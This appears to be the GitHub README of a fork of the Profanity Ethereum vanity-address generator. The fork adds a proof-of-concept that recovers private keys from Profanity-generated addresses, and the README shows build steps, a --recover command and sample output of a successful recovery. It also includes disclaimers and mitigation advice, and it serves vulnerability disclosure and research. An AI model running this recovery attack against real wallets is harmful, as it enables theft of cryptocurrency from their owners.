Skip to content
 
 

Repository files navigation

Swear Jar

A fork of profanity that implements a proof of concept for recoverying private keys generated by vanity addresses.

⚠️ CRITICAL SECURITY WARNING - DO NOT USE THIS TOOL TO GENERATE ETHEREUM ADDRESSES OR PRIVATE KEYS. ⚠️

See the original security disclosure and deep dives here:

Proof of Concept: Private Key Recovery Implementation

The profanity codebase has been modified to demonstrate the private key recovery attack against addresses generated by the vulnerable Profanity tool. This implementation serves as a proof of concept showing how the disclosed vulnerability can be exploited.

A few simple command-line parameters have been added to test the functionality quickly with low seed values for demonstrative purposes:

Quick Test: Generate and Recover a Key from Seed 0

This demonstrates the vulnerability using a known seed value for testing purposes.

Step 0: Build the tool

# Compile the modified code
make clean && make

Step 1: Generate a vanity address using Seed 0

# Generate a vanity address that has leading 0's in it (will use seed 0)
./profanity.x64 --leading f --test-seed 0

You should see something like this as output:

[...]
Initialization time: 1 seconds
Running...
  Always verify that a private key generated by this program corresponds to the
  public key printed by importing it to a wallet of your choice. This program
  like any software might contain bugs and it does by design cut corners to
  improve overall performance.


  like any software might contain bugs and it does by design cut corners to
  improve overall performance.

  Time:     1s Score:  5 Private: 0x98f56903ceece0520a213217f032e8b9fdfd3a7c3e40f98b28e837c5cb41dc40 Address: 0xfffff7ee8e361e59e58640ee4f23df3f60860b84
  Time:     1s Score:  6 Private: 0x98f56903cef713290a213217f032e8b9fdfd3a7c3e40f98b28e837c5cb41dc46 Address: 0xffffff1d8372eaa67436d296fd3fe4305ee584fd
  Time:     2s Score:  7 Private: 0x98f56903cf0315650a213217f032e8b9fdfd3a7c3e40f98b28e837c5cb41dc94 Address: 0xfffffff23c8a0226bab4dbed1c303cebb8d8cda9
  Time:     3s Score:  8 Private: 0x98f56903cee9e3f10a213217f032e8b9fdfd3a7c3e40f98b28e837c5cb41dd48 Address: 0xffffffff55d47d80ec3a250cdd9506c8851182dc
  Time:     6s Score:  9 Private: 0x98f56903cf14ea8a0a213217f032e8b9fdfd3a7c3e40f98b28e837c5cb41de52 Address: 0xfffffffff6097c2abd9d4e6175ad6f6d4d824458
  ...

Record the generated address and private key from the output

In our case, lets use the key that took 6 seconds to generate using seed 0:

Private: 0x98f56903cf14ea8a0a213217f032e8b9fdfd3a7c3e40f98b28e837c5cb41de52
Address: 0xfffffffff6097c2abd9d4e6175ad6f6d4d824458

Step 4: Test Recovery Attack

# Attempt to recover the private key from the address
./profanity.x64 --recover 0xYOUR_TEST_ADDRESS_HERE
./profanity.x64 --recover 0xfffffffff6097c2abd9d4e6175ad6f6d4d824458

The output will look something like this:

# 6 seconds of hash speed generation will show on screen ...
Total: 2.089 GH/s - GPU0: 522.240 MH/s GPU1: 522.240 MH/s GPU2: 522.240 MH/s GPU3: 522.240 MH/s

# Followed by something like this
╔════════════════════════════════════════════════════════════╗
║          🎯 RECOVERY SUCCESSFUL - MATCH FOUND! 🎯          ║
╚════════════════════════════════════════════════════════════╝

Time taken: 5 seconds
Seeds searched: ~16711680

  Time:     5s Score: 40 Private: 0x98f56903cf14ea8a0a213217f032e8b9fdfd3a7c3e40f98b28e837c5cb41de52 Address: 0xfffffffff6097c2abd9d4e6175ad6f6d4d824458

⚠️  CRITICAL SECURITY NOTE:
This demonstrates the Profanity vulnerability. Any address
generated with this tool can be cracked using this method.

Ethical and Legal Notice

This Implementation is For:

✅ Security research and education
✅ Demonstrating the vulnerability for academic purposes
✅ Testing if addresses are vulnerable
✅ Understanding cryptographic weaknesses

This Implementation is NOT For:

❌ Stealing funds from vulnerable wallets
❌ Unauthorized access to cryptocurrency
❌ Any illegal activity

Warning: Unauthorized access to cryptocurrency wallets is a criminal offense in most jurisdictions. This tool is provided strictly for defensive security research and education.


Mitigation

If you ever used Profanity to generate Ethereum addresses:

  1. Immediately transfer all assets to a new wallet generated with proper entropy sources
  2. Change smart contract ownership if Profanity generated any deployer addresses
  3. Monitor for suspicious activity on affected addresses
  4. Never use Profanity or similar tools for production key generation

Use secure alternatives:

  • Hardware wallets (Ledger, Trezor)
  • openssl rand -hex 32
  • Established wallet software with proper CSPRNG implementation

Current Status: Tens to hundreds of millions of dollars have been stolen from Profanity-generated wallets since the vulnerability's disclosure. Any address generated with Profanity should be considered completely compromised.

About

Vanity address generator for Ethereum

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages